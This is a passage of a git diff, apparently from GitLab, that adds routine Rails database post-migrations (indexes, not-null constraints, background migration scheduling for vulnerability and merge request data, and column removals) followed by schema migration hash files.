+ remove_column :ci_job_artifacts, :locked
+ end
+ end
+
+ def down
+ with_lock_retries do
+ add_column :ci_job_artifacts, :locked, :boolean
+ end
+ end
+end
diff --git a/db/post_migrate/20200826220745_add_compound_index_on_vulnerabilities_for_background_migration.rb b/db/post_migrate/20200826220745_add_compound_index_on_vulnerabilities_for_background_migration.rb
new file mode 100644
index 00000000000..da95f708cf9
--- /dev/null
+++ b/db/post_migrate/20200826220745_add_compound_index_on_vulnerabilities_for_background_migration.rb
@@ -0,0 +1,18 @@
+# frozen_string_literal: true
+
+class AddCompoundIndexOnVulnerabilitiesForBackgroundMigration < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+ INDEX_NAME = 'index_vulnerabilities_on_project_id_and_id'
+
+ disable_ddl_transaction!
+
+ def up
+ add_concurrent_index :vulnerabilities, [:project_id, :id], name: INDEX_NAME
+ end
+
+ def down
+ remove_concurrent_index_by_name :vulnerabilities, INDEX_NAME
+ end
+end
diff --git a/db/post_migrate/20200826220746_schedule_populate_resolved_on_default_branch_column.rb b/db/post_migrate/20200826220746_schedule_populate_resolved_on_default_branch_column.rb
new file mode 100644
index 00000000000..6faa4fc8101
--- /dev/null
+++ b/db/post_migrate/20200826220746_schedule_populate_resolved_on_default_branch_column.rb
@@ -0,0 +1,28 @@
+# frozen_string_literal: true
+
+class SchedulePopulateResolvedOnDefaultBranchColumn < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+ BATCH_SIZE = 100
+ DELAY_INTERVAL = 5.minutes.to_i
+ MIGRATION_CLASS = 'PopulateResolvedOnDefaultBranchColumn'
+
+ disable_ddl_transaction!
+
+ def up
+ return unless Gitlab.ee?
+
+ EE::Gitlab::BackgroundMigration::PopulateResolvedOnDefaultBranchColumn::Vulnerability.distinct.each_batch(of: BATCH_SIZE, column: :project_id) do |batch, index|
+ project_ids = batch.pluck(:project_id)
+ migrate_in(index * DELAY_INTERVAL, MIGRATION_CLASS, project_ids)
+ end
+ end
+
+ def down
+ # no-op
+ # This migration schedules background tasks to populate
+ # `resolved_on_default_branch` column of `vulnerabilities`
+ # table so there is no rollback operation needed for this.
+ end
+end
diff --git a/db/post_migrate/20200831065320_add_not_valid_not_null_constraint_to_mr_metrics.rb b/db/post_migrate/20200831065320_add_not_valid_not_null_constraint_to_mr_metrics.rb
new file mode 100644
index 00000000000..35bfabc0358
--- /dev/null
+++ b/db/post_migrate/20200831065320_add_not_valid_not_null_constraint_to_mr_metrics.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+class AddNotValidNotNullConstraintToMrMetrics < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ disable_ddl_transaction!
+
+ def up
+ add_not_null_constraint :merge_request_metrics, :target_project_id, validate: false
+ end
+
+ def down
+ remove_not_null_constraint :merge_request_metrics, :target_project_id
+ end
+end
diff --git a/db/post_migrate/20200831065322_add_tmp_index_to_target_project_id.rb b/db/post_migrate/20200831065322_add_tmp_index_to_target_project_id.rb
new file mode 100644
index 00000000000..5d6d098ebfe
--- /dev/null
+++ b/db/post_migrate/20200831065322_add_tmp_index_to_target_project_id.rb
@@ -0,0 +1,18 @@
+# frozen_string_literal: true
+
+class AddTmpIndexToTargetProjectId < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ TMP_INDEX_NAME = 'tmp_index_on_mr_metrics_target_project_id_null'
+ DOWNTIME = false
+
+ disable_ddl_transaction!
+
+ def up
+ add_concurrent_index :merge_request_metrics, :id, where: 'target_project_id IS NULL', name: TMP_INDEX_NAME
+ end
+
+ def down
+ remove_concurrent_index_by_name :merge_request_metrics, name: TMP_INDEX_NAME
+ end
+end
diff --git a/db/post_migrate/20200831065705_ensure_target_project_id_is_filled.rb b/db/post_migrate/20200831065705_ensure_target_project_id_is_filled.rb
new file mode 100644
index 00000000000..9b267933b04
--- /dev/null
+++ b/db/post_migrate/20200831065705_ensure_target_project_id_is_filled.rb
@@ -0,0 +1,49 @@
+# frozen_string_literal: true
+
+class EnsureTargetProjectIdIsFilled < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ BACKGROUND_MIGRATION_CLASS = 'CopyMergeRequestTargetProjectToMergeRequestMetrics'
+ BATCH_SIZE = 1_000
+ DOWNTIME = false
+
+ disable_ddl_transaction!
+
+ class MergeRequest < ActiveRecord::Base
+ self.table_name = 'merge_requests'
+ end
+
+ class MergeRequestMetrics < ActiveRecord::Base
+ include EachBatch
+
+ belongs_to :merge_request
+
+ self.table_name = 'merge_request_metrics'
+ end
+
+ def up
+ Gitlab::BackgroundMigration.steal(BACKGROUND_MIGRATION_CLASS)
+
+ # Do a manual update in case we lost BG jobs. The expected record count should be 0 or very low.
+ MergeRequestMetrics.where(target_project_id: nil).each_batch do |scope|
+ query_for_cte = scope.joins(:merge_request).select(
+ MergeRequestMetrics.arel_table[:id].as('id'),
+ MergeRequest.arel_table[:target_project_id].as('target_project_id')
+ )
+
+ MergeRequestMetrics.connection.execute <<-SQL
+ WITH target_project_id_and_metrics_id as (
+ #{query_for_cte.to_sql}
+ )
+ UPDATE #{MergeRequestMetrics.connection.quote_table_name(MergeRequestMetrics.table_name)}
+ SET target_project_id = target_project_id_and_metrics_id.target_project_id
+ FROM target_project_id_and_metrics_id
+ WHERE merge_request_metrics.id = target_project_id_and_metrics_id.id
+ SQL
+ end
+ end
+
+ def down
+ # no-op
+ end
+end
diff --git a/db/post_migrate/20200831074356_validate_not_null_constraint_on_mr_metrics.rb b/db/post_migrate/20200831074356_validate_not_null_constraint_on_mr_metrics.rb
new file mode 100644
index 00000000000..8fd54186db3
--- /dev/null
+++ b/db/post_migrate/20200831074356_validate_not_null_constraint_on_mr_metrics.rb
@@ -0,0 +1,20 @@
+# frozen_string_literal: true
+
+class ValidateNotNullConstraintOnMrMetrics < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ TMP_INDEX_NAME = 'tmp_index_on_mr_metrics_target_project_id_null'
+ DOWNTIME = false
+
+ disable_ddl_transaction!
+
+ def up
+ validate_not_null_constraint :merge_request_metrics, :target_project_id
+
+ remove_concurrent_index_by_name :merge_request_metrics, name: TMP_INDEX_NAME
+ end
+
+ def down
+ add_concurrent_index :merge_request_metrics, :id, where: 'target_project_id IS NULL', name: TMP_INDEX_NAME
+ end
+end
diff --git a/db/post_migrate/20200831224343_populate_vulnerability_historical_statistics_for_year.rb b/db/post_migrate/20200831224343_populate_vulnerability_historical_statistics_for_year.rb
new file mode 100644
index 00000000000..3f4fbfbebde
--- /dev/null
+++ b/db/post_migrate/20200831224343_populate_vulnerability_historical_statistics_for_year.rb
@@ -0,0 +1,30 @@
+# frozen_string_literal: true
+
+class PopulateVulnerabilityHistoricalStatisticsForYear < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+ DELAY_INTERVAL = 5.minutes.to_i
+ BATCH_SIZE = 50
+ MIGRATION = 'PopulateVulnerabilityHistoricalStatistics'
+
+ disable_ddl_transaction!
+
+ class Vulnerability < ActiveRecord::Base
+ self.table_name = 'vulnerabilities'
+
+ include ::EachBatch
+ end
+
+ def up
+ return unless Gitlab.ee?
+
+ Vulnerability.select('project_id').distinct.each_batch(of: BATCH_SIZE, column: 'project_id') do |project_batch, index|
+ migrate_in(index * DELAY_INTERVAL, MIGRATION, [project_batch.pluck(:project_id), 365])
+ end
+ end
+
+ def down
+ # no-op
+ end
+end
diff --git a/db/post_migrate/20200901212304_drop_code_owner_column_from_approval_merge_request_rule.rb b/db/post_migrate/20200901212304_drop_code_owner_column_from_approval_merge_request_rule.rb
new file mode 100644
index 00000000000..7524ae8e15b
--- /dev/null
+++ b/db/post_migrate/20200901212304_drop_code_owner_column_from_approval_merge_request_rule.rb
@@ -0,0 +1,36 @@
+# frozen_string_literal: true
+
+class DropCodeOwnerColumnFromApprovalMergeRequestRule < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+ disable_ddl_transaction!
+
+ def up
+ with_lock_retries do
+ remove_column :approval_merge_request_rules, :code_owner
+ end
+ end
+
+ def down
+ unless column_exists?(:approval_merge_request_rules, :code_owner)
+ with_lock_retries do
+ add_column :approval_merge_request_rules, :code_owner, :boolean, default: false, null: false
+ end
+ end
+
+ add_concurrent_index(
+ :approval_merge_request_rules,
+ [:merge_request_id, :code_owner, :name],
+ unique: true,
+ where: "code_owner = true AND section IS NULL",
+ name: "approval_rule_name_index_for_code_owners"
+ )
+
+ add_concurrent_index(
+ :approval_merge_request_rules,
+ [:merge_request_id, :code_owner],
+ name: "index_approval_merge_request_rules_1"
+ )
+ end
+end
diff --git a/db/post_migrate/20200903064431_add_created_at_index_to_audit_events.rb b/db/post_migrate/20200903064431_add_created_at_index_to_audit_events.rb
new file mode 100644
index 00000000000..94dc2cb7adf
--- /dev/null
+++ b/db/post_migrate/20200903064431_add_created_at_index_to_audit_events.rb
@@ -0,0 +1,22 @@
+# frozen_string_literal: true
+
+class AddCreatedAtIndexToAuditEvents < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ disable_ddl_transaction!
+
+ INDEX_NAME = 'idx_audit_events_on_entity_id_desc_author_id_created_at'
+ OLD_INDEX_NAME = 'index_audit_events_on_entity_id_entity_type_id_desc_author_id'
+
+ def up
+ add_concurrent_index(:audit_events, [:entity_id, :entity_type, :id, :author_id, :created_at], order: { id: :desc }, name: INDEX_NAME)
+ remove_concurrent_index_by_name(:audit_events, OLD_INDEX_NAME)
+ end
+
+ def down
+ add_concurrent_index(:audit_events, [:entity_id, :entity_type, :id, :author_id], order: { id: :desc }, name: OLD_INDEX_NAME)
+ remove_concurrent_index_by_name(:audit_events, INDEX_NAME)
+ end
+end
diff --git a/db/post_migrate/20200904174901_backfill_cleanup_for_partitioned_audit_events.rb b/db/post_migrate/20200904174901_backfill_cleanup_for_partitioned_audit_events.rb
new file mode 100644
index 00000000000..1d8240012d1
--- /dev/null
+++ b/db/post_migrate/20200904174901_backfill_cleanup_for_partitioned_audit_events.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+class BackfillCleanupForPartitionedAuditEvents < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::PartitioningMigrationHelpers
+
+ DOWNTIME = false
+
+ disable_ddl_transaction!
+
+ def up
+ finalize_backfilling_partitioned_table :audit_events
+ end
+
+ def down
+ # no op
+ end
+end
diff --git a/db/post_migrate/20200907124300_complete_namespace_settings_migration.rb b/db/post_migrate/20200907124300_complete_namespace_settings_migration.rb
new file mode 100644
index 00000000000..5881869ee3c
--- /dev/null
+++ b/db/post_migrate/20200907124300_complete_namespace_settings_migration.rb
@@ -0,0 +1,35 @@
+# frozen_string_literal: true
+
+class CompleteNamespaceSettingsMigration < ActiveRecord::Migration[5.2]
+ DOWNTIME = false
+ BATCH_SIZE = 10000
+
+ class Namespace < ActiveRecord::Base
+ include EachBatch
+
+ self.table_name = 'namespaces'
+ end
+
+ def up
+ Gitlab::BackgroundMigration.steal('BackfillNamespaceSettings')
+
+ ensure_data_migration
+ end
+
+ def down
+ # no-op
+ end
+
+ private
+
+ def ensure_data_migration
+ Namespace.each_batch(of: BATCH_SIZE) do |query|
+ missing_count = query.where("NOT EXISTS (SELECT 1 FROM namespace_settings WHERE namespace_settings.namespace_id=namespaces.id)").limit(1).size
+ if missing_count > 0
+ min, max = query.pluck("MIN(id), MAX(id)").flatten
+ # we expect low record count so inline execution is fine.
+ Gitlab::BackgroundMigration::BackfillNamespaceSettings.new.perform(min, max)
+ end
+ end
+ end
+end
diff --git a/db/post_migrate/20200908095446_update_location_fingerprint_column_for_cs.rb b/db/post_migrate/20200908095446_update_location_fingerprint_column_for_cs.rb
new file mode 100644
index 00000000000..fc2b7116ed1
--- /dev/null
+++ b/db/post_migrate/20200908095446_update_location_fingerprint_column_for_cs.rb
@@ -0,0 +1,30 @@
+# frozen_string_literal: true
+
+class UpdateLocationFingerprintColumnForCs < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ disable_ddl_transaction!
+
+ BATCH_SIZE = 1_000
+ INTERVAL = 2.minutes
+
+ # 883_152 records
+ def up
+ return unless Gitlab.ee?
+
+ migration = Gitlab::BackgroundMigration::UpdateLocationFingerprintForContainerScanningFindings
+ migration_name = migration.to_s.demodulize
+ relation = migration::Finding.container_scanning
+ queue_background_migration_jobs_by_range_at_intervals(relation,
+ migration_name,
+ INTERVAL,
+ batch_size: BATCH_SIZE)
+ end
+
+ def down
+ # no-op
+ # intentionally blank
+ end
+end
diff --git a/db/post_migrate/20200909194014_change_pypi_python_version_type_cleanup.rb b/db/post_migrate/20200909194014_change_pypi_python_version_type_cleanup.rb
new file mode 100644
index 00000000000..c94f745e762
--- /dev/null
+++ b/db/post_migrate/20200909194014_change_pypi_python_version_type_cleanup.rb
@@ -0,0 +1,18 @@
+# frozen_string_literal: true
+
+class ChangePypiPythonVersionTypeCleanup < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ disable_ddl_transaction!
+
+ def up
+ cleanup_concurrent_column_type_change(:packages_pypi_metadata, :required_python)
+ end
+
+ def down
+ execute('UPDATE packages_pypi_metadata SET required_python = substring(required_python from 1 for 50)')
+ change_column_type_concurrently :packages_pypi_metadata, :required_python, 'varchar(50)', batch_column_name: :package_id
+ end
+end
diff --git a/db/post_migrate/20200909194524_increase_pypi_version_size.rb b/db/post_migrate/20200909194524_increase_pypi_version_size.rb
new file mode 100644
index 00000000000..0273d49bba9
--- /dev/null
+++ b/db/post_migrate/20200909194524_increase_pypi_version_size.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+class IncreasePypiVersionSize < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ disable_ddl_transaction!
+
+ def up
+ add_text_limit :packages_pypi_metadata, :required_python, 255
+ end
+
+ def down
+ remove_text_limit :packages_pypi_metadata, :required_python
+ end
+end
diff --git a/db/post_migrate/20200910131217_tmp_index_for_fixing_inconsistent_vulnerability_occurrences.rb b/db/post_migrate/20200910131217_tmp_index_for_fixing_inconsistent_vulnerability_occurrences.rb
new file mode 100644
index 00000000000..1985b8f1b67
--- /dev/null
+++ b/db/post_migrate/20200910131217_tmp_index_for_fixing_inconsistent_vulnerability_occurrences.rb
@@ -0,0 +1,20 @@
+# frozen_string_literal: true
+
+class TmpIndexForFixingInconsistentVulnerabilityOccurrences < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+ INDEX_NAME = 'tmp_index_for_fixing_inconsistent_vulnerability_occurrences'
+ disable_ddl_transaction!
+
+ def up
+ # report_type: 2 container scanning
+ add_concurrent_index(:vulnerability_occurrences, :id,
+ where: "LENGTH(location_fingerprint) = 40 AND report_type = 2",
+ name: INDEX_NAME)
+ end
+
+ def down
+ remove_concurrent_index_by_name(:vulnerability_occurrences, INDEX_NAME)
+ end
+end
diff --git a/db/post_migrate/20200910131218_remove_duplicated_cs_findings.rb b/db/post_migrate/20200910131218_remove_duplicated_cs_findings.rb
new file mode 100644
index 00000000000..c5bfddfd265
--- /dev/null
+++ b/db/post_migrate/20200910131218_remove_duplicated_cs_findings.rb
@@ -0,0 +1,31 @@
+# frozen_string_literal: true
+
+class RemoveDuplicatedCsFindings < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ disable_ddl_transaction!
+
+ BATCH_SIZE = 1_000
+ INTERVAL = 2.minutes
+
+ # 23_893 records will be updated
+ # 23_893 records will be deleted
+ def up
+ return unless Gitlab.com?
+
+ migration = Gitlab::BackgroundMigration::RemoveDuplicateCsFindings
+ migration_name = migration.to_s.demodulize
+ relation = migration::Finding.container_scanning.where("LENGTH(location_fingerprint) = 40")
+ queue_background_migration_jobs_by_range_at_intervals(relation,
+ migration_name,
+ INTERVAL,
+ batch_size: BATCH_SIZE)
+ end
+
+ def down
+ # no-op
+ # intentionally blank
+ end
+end
diff --git a/db/post_migrate/20200910170908_ensure_filled_external_diff_store_on_merge_request_diffs.rb b/db/post_migrate/20200910170908_ensure_filled_external_diff_store_on_merge_request_diffs.rb
new file mode 100644
index 00000000000..5070bd1c2f5
--- /dev/null
+++ b/db/post_migrate/20200910170908_ensure_filled_external_diff_store_on_merge_request_diffs.rb
@@ -0,0 +1,31 @@
+# frozen_string_literal: true
+
+class EnsureFilledExternalDiffStoreOnMergeRequestDiffs < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ BACKGROUND_MIGRATION_CLASS = 'SetNullExternalDiffStoreToLocalValue'
+ BATCH_SIZE = 5_000
+ LOCAL_STORE = 1 # equal to ObjectStorage::Store::LOCAL
+ DOWNTIME = false
+
+ disable_ddl_transaction!
+
+ class MergeRequestDiff < ActiveRecord::Base
+ self.table_name = 'merge_request_diffs'
+
+ include ::EachBatch
+ end
+
+ def up
+ Gitlab::BackgroundMigration.steal(BACKGROUND_MIGRATION_CLASS)
+
+ # Do a manual update in case we lost BG jobs. The expected record count should be 0 or very low.
+ MergeRequestDiff.where(external_diff_store: nil).each_batch(of: BATCH_SIZE) do |batch, index|
+ batch.update_all(external_diff_store: LOCAL_STORE)
+ end
+ end
+
+ def down
+ # no-op
+ end
+end
diff --git a/db/post_migrate/20200910175553_validate_not_null_external_diff_store_on_merge_request_diffs.rb b/db/post_migrate/20200910175553_validate_not_null_external_diff_store_on_merge_request_diffs.rb
new file mode 100644
index 00000000000..4dc8ac96a4c
--- /dev/null
+++ b/db/post_migrate/20200910175553_validate_not_null_external_diff_store_on_merge_request_diffs.rb
@@ -0,0 +1,21 @@
+# frozen_string_literal: true
+
+class ValidateNotNullExternalDiffStoreOnMergeRequestDiffs < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ # Remove index which was only added to fill external_diff_store
+ INDEX_NAME = 'index_merge_request_diffs_external_diff_store_is_null'
+ DOWNTIME = false
+
+ disable_ddl_transaction!
+
+ def up
+ validate_not_null_constraint :merge_request_diffs, :external_diff_store
+
+ remove_concurrent_index_by_name :merge_request_diffs, INDEX_NAME
+ end
+
+ def down
+ add_concurrent_index :merge_request_diffs, :id, where: 'external_diff_store IS NULL', name: INDEX_NAME
+ end
+end
diff --git a/db/post_migrate/20200915044225_schedule_migration_to_hashed_storage.rb b/db/post_migrate/20200915044225_schedule_migration_to_hashed_storage.rb
new file mode 100644
index 00000000000..553d060dc58
--- /dev/null
+++ b/db/post_migrate/20200915044225_schedule_migration_to_hashed_storage.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+class ScheduleMigrationToHashedStorage < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+ DOWNTIME = false
+ MIGRATION = 'MigrateToHashedStorage'
+
+ disable_ddl_transaction!
+
+ def up
+ migrate_async(MIGRATION)
+ end
+
+ def down
+ # NO-OP
+ end
+end
diff --git a/db/post_migrate/20200916081749_remove_cycle_analytics_total_stage_data.rb b/db/post_migrate/20200916081749_remove_cycle_analytics_total_stage_data.rb
new file mode 100644
index 00000000000..94c218c0c57
--- /dev/null
+++ b/db/post_migrate/20200916081749_remove_cycle_analytics_total_stage_data.rb
@@ -0,0 +1,14 @@
+# frozen_string_literal: true
+
+class RemoveCycleAnalyticsTotalStageData < ActiveRecord::Migration[6.0]
+ DOWNTIME = false
+
+ def up
+ execute("DELETE FROM analytics_cycle_analytics_group_stages WHERE name='production'")
+ execute("DELETE FROM analytics_cycle_analytics_project_stages WHERE name='production'")
+ end
+
+ def down
+ # Migration is irreversible
+ end
+end
diff --git a/db/schema_migrations/20200610033228 b/db/schema_migrations/20200610033228
new file mode 100644
index 00000000000..8e02b4c92ec
--- /dev/null
+++ b/db/schema_migrations/20200610033228
@@ -0,0 +1 @@
+354524319f4c426328c7485619e248d00df323842873eaf7a2b3fbd2ad93048f \ No newline at end of file
diff --git a/db/schema_migrations/20200610040615 b/db/schema_migrations/20200610040615
new file mode 100644
index 00000000000..6faeed1adaf
--- /dev/null
+++ b/db/schema_migrations/20200610040615
@@ -0,0 +1 @@
+1f698671f226289fa1eabbb988b94ecd6486038f4922076bb981e44ee2356b25 \ No newline at end of file
diff --git a/db/schema_migrations/20200611013227 b/db/schema_migrations/20200611013227
new file mode 100644
index 00000000000..e7f829d1875
--- /dev/null
+++ b/db/schema_migrations/20200611013227
@@ -0,0 +1 @@
+d0ede6c4a28988494b0e18c073e56c1d985de73c443cc6b6d99e0b34a7f37642 \ No newline at end of file
diff --git a/db/schema_migrations/20200629134747 b/db/schema_migrations/20200629134747
new file mode 100644
index 00000000000..04c2c1632b1
--- /dev/null
+++ b/db/schema_migrations/20200629134747
@@ -0,0 +1 @@
+9cd0e15dd2c5e70e53fc154a47a76ec066c741b5f6d148972b96d23888f0fcd4 \ No newline at end of file
diff --git a/db/schema_migrations/20200710113437 b/db/schema_migrations/20200710113437
new file mode 100644
index 00000000000..02e9161ed7f
--- /dev/null
+++ b/db/schema_migrations/20200710113437
@@ -0,0 +1 @@
+3d49c22b718c5b4af0a7372584fe12ab730e1ffca501c7f582f7d01200708eb1 \ No newline at end of file
diff --git a/db/schema_migrations/20200810191256 b/db/schema_migrations/20200810191256
new file mode 100644
index 00000000000..c768252a228
--- /dev/null
+++ b/db/schema_migrations/20200810191256
@@ -0,0 +1 @@
+66653e275889da8e695843f648af36c8a4e275b4d3215119eab4942db1b4b823 \ No newline at end of file
diff --git a/db/schema_migrations/20200811130000 b/db/schema_migrations/20200811130000
new file mode 100644
index 00000000000..a7df459c416
--- /dev/null
+++ b/db/schema_migrations/20200811130000
@@ -0,0 +1 @@
+36d3db5618a56a0ea03272563fe254590d6af1f7d2610a1f01a5054b1cda1a7d \ No newline at end of file
diff --git a/db/schema_migrations/20200811130433 b/db/schema_migrations/20200811130433
new file mode 100644
index 00000000000..303468e8949
--- /dev/null
+++ b/db/schema_migrations/20200811130433
@@ -0,0 +1 @@
+e8fc0809b5bd3248dc625602deeaaef16e2db6b33d8eaf51fdcc1c67dee49e17 \ No newline at end of file
diff --git a/db/schema_migrations/20200811154630 b/db/schema_migrations/20200811154630
new file mode 100644
index 00000000000..0498382ef2e
--- /dev/null
+++ b/db/schema_migrations/20200811154630
@@ -0,0 +1 @@
+c04fe7e1a56bdcd41b5e1af346f9bfcae170d601954c4a0bcfcc9aea19d55528 \ No newline at end of file
diff --git a/db/schema_migrations/20200811154631 b/db/schema_migrations/20200811154631
new file mode 100644
index 00000000000..1817460cd30
--- /dev/null
+++ b/db/schema_migrations/20200811154631
@@ -0,0 +1 @@
+0ce17a8ad6c5ca5bba49ff522fede400fe6666490157af123ad98a7643f3ce01 \ No newline at end of file
diff --git a/db/schema_migrations/20200811154632 b/db/schema_migrations/20200811154632
new file mode 100644
index 00000000000..bb1167e3182
--- /dev/null
+++ b/db/schema_migrations/20200811154632
@@ -0,0 +1 @@
+523f200c635e37ee1ac52257ffd45443a3e17bfe993d22775a5377865e044a46 \ No newline at end of file
diff --git a/db/schema_migrations/20200811211536 b/db/schema_migrations/20200811211536
new file mode 100644
index 00000000000..1bd013900a3
--- /dev/null
+++ b/db/schema_migrations/20200811211536
@@ -0,0 +1 @@
+d4ea24092289f6dba294c502b8ce89748165973fb2d7989fa7615433599a0c0c \ No newline at end of file
diff --git a/db/schema_migrations/20200812150810 b/db/schema_migrations/20200812150810
new file mode 100644
index 00000000000..b5e6ce89ee4
--- /dev/null
+++ b/db/schema_migrations/20200812150810
@@ -0,0 +1 @@
+a48d2b0ae00630775a3385aab6b6ae7ac5ebc999228605293c2e824c3651b7da \ No newline at end of file
diff --git a/db/schema_migrations/20200812150811 b/db/schema_migrations/20200812150811
new file mode 100644
index 00000000000..08f760c8325
--- /dev/null
+++ b/db/schema_migrations/20200812150811
@@ -0,0 +1 @@
+a7e650ffb9db2068168b486f8cb27c6bcdaad3682309e7c7df7e3c24c34c0498 \ No newline at end of file
diff --git a/db/schema_migrations/20200812150812 b/db/schema_migrations/20200812150812
new file mode 100644
index 00000000000..df4035363f6
--- /dev/null
+++ b/db/schema_migrations/20200812150812
@@ -0,0 +1 @@
+d51302497aafd672954e1ea7613e33036fd3a083f4b0f349b3710058f1db0810 \ No newline at end of file
diff --git a/db/schema_migrations/20200817100710 b/db/schema_migrations/20200817100710
new file mode 100644
index 00000000000..8062c3d46e4
--- /dev/null
+++ b/db/schema_migrations/20200817100710
@@ -0,0 +1 @@
+87d3529596f5b5adff7280be7c60e4ff290dd05c500bbeb00cda0ac5da6239e0 \ No newline at end of file
diff --git a/db/schema_migrations/20200818052219 b/db/schema_migrations/20200818052219
new file mode 100644
index 00000000000..1df09a53ca4
--- /dev/null
+++ b/db/schema_migrations/20200818052219
@@ -0,0 +1 @@
+94b494b5f8e351cf453699debf03aa28f8a9136c829cb7410c90590b5106cdd5 \ No newline at end of file
diff --git a/db/schema_migrations/20200818092401 b/db/schema_migrations/20200818092401
new file mode 100644
index 00000000000..916b5421e70
--- /dev/null
+++ b/db/schema_migrations/20200818092401
@@ -0,0 +1 @@
+39d412a1680d55466c14450943e17802eb183f2f33f2f77078cba571262cd149 \ No newline at end of file
diff --git a/db/schema_migrations/20200818171229 b/db/schema_migrations/20200818171229
new file mode 100644
index 00000000000..91470670c26
--- /dev/null
+++ b/db/schema_migrations/20200818171229
@@ -0,0 +1 @@
+987f316571f41ad679cad54089bc523f62d04691c10e5cf1957cf60edd71f889 \ No newline at end of file
diff --git a/db/schema_migrations/20200819082334 b/db/schema_migrations/20200819082334
new file mode 100644
index 00000000000..28d83ca820d
--- /dev/null
+++ b/db/schema_migrations/20200819082334
@@ -0,0 +1 @@
+c12f3f5b76e1065867682216348dd95c22d605c30ae54615f2596b1d84aad199 \ No newline at end of file
diff --git a/db/schema_migrations/20200819113644 b/db/schema_migrations/20200819113644
new file mode 100644
index 00000000000..2208ad26134
--- /dev/null
+++ b/db/schema_migrations/20200819113644
@@ -0,0 +1 @@
+19c90689d0af6adb017dbd7127c6cd147d9c92581118dbfd99c87bc6a6dda3be \ No newline at end of file
diff --git a/db/schema_migrations/20200819192143 b/db/schema_migrations/20200819192143
new file mode 100644
index 00000000000..e0934e15f1f
--- /dev/null
+++ b/db/schema_migrations/20200819192143
@@ -0,0 +1 @@
+5a5278fdd9539d33a6de226a84ed39b7c5a26929cec68ec5e8d193afb3cfafa2 \ No newline at end of file
diff --git a/db/schema_migrations/20200819202048 b/db/schema_migrations/20200819202048
new file mode 100644
index 00000000000..a5428c7b40a
--- /dev/null
+++ b/db/schema_migrations/20200819202048
@@ -0,0 +1 @@
+476bce9b18177f37b31e15d42f5a1391c0bfbbd312a513c1d5b43085b90afb3e \ No newline at end of file
diff --git a/db/schema_migrations/20200819202222 b/db/schema_migrations/20200819202222
new file mode 100644
index 00000000000..f633502d0bb
--- /dev/null
+++ b/db/schema_migrations/20200819202222
@@ -0,0 +1 @@
+5e2dfdf725ad0a3d90b240ced74cf5a872f7126b716847f9f9e99b4ad2a22109 \ No newline at end of file
diff --git a/db/schema_migrations/20200820105408 b/db/schema_migrations/20200820105408
new file mode 100644
index 00000000000..647a86797dd
--- /dev/null
+++ b/db/schema_migrations/20200820105408
@@ -0,0 +1 @@
+e21ae06853e3a071669fa8e9ed2638f0e7854813bc5a1639b31ad6edb50f6427 \ No newline at end of file
diff --git a/db/schema_migrations/20200820130839 b/db/schema_migrations/20200820130839
new file mode 100644
index 00000000000..e372e4df2be
--- /dev/null
+++ b/db/schema_migrations/20200820130839
@@ -0,0 +1 @@
+751a2c8e06b522b1564ea09f961d8883543a631874ae26bb14c98b7b442d59cc \ No newline at end of file
diff --git a/db/schema_migrations/20200820204041 b/db/schema_migrations/20200820204041
new file mode 100644
index 00000000000..43e564a759d
--- /dev/null
+++ b/db/schema_migrations/20200820204041
@@ -0,0 +1 @@
+ce4d108c6587943ab3740dcc39298d6877d7317ec1023d8d263cecd9f1e0f478 \ No newline at end of file
diff --git a/db/schema_migrations/20200821034419 b/db/schema_migrations/20200821034419
new file mode 100644
index 00000000000..56ede8eff69
--- /dev/null
+++ b/db/schema_migrations/20200821034419
@@ -0,0 +1 @@
+ddf3452bb44437324d20c9db03e998f8903f5ff9732d29cf85dd5d579507952d \ No newline at end of file
diff --git a/db/schema_migrations/20200821194920 b/db/schema_migrations/20200821194920
new file mode 100644
index 00000000000..b681c3269c3
--- /dev/null
+++ b/db/schema_migrations/20200821194920
@@ -0,0 +1 @@
+d92cdef33a892fdd1761d9491bc8e4c782e9db348d4a6848a1470e99e644fbfd \ No newline at end of file
diff --git a/db/schema_migrations/20200824045812 b/db/schema_migrations/20200824045812
new file mode 100644
index 00000000000..c628ca3eb18
--- /dev/null
+++ b/db/schema_migrations/20200824045812
@@ -0,0 +1 @@
+4f3528d7df6e61c8b14911644f9223ac5f6e678184d1c8370d1e9a60389cd60c \ No newline at end of file
diff --git a/db/schema_migrations/20200824124623 b/db/schema_migrations/20200824124623
new file mode 100644
index 00000000000..367de6bda2e
--- /dev/null
+++ b/db/schema_migrations/20200824124623
@@ -0,0 +1 @@
+b8fcbdab769758753efae992e64bed7f79149c74f08294035a48a03c59bb1c5d \ No newline at end of file
diff --git a/db/schema_migrations/20200824130028 b/db/schema_migrations/20200824130028
new file mode 100644
index 00000000000..961a11848c9
--- /dev/null
+++ b/db/schema_migrations/20200824130028
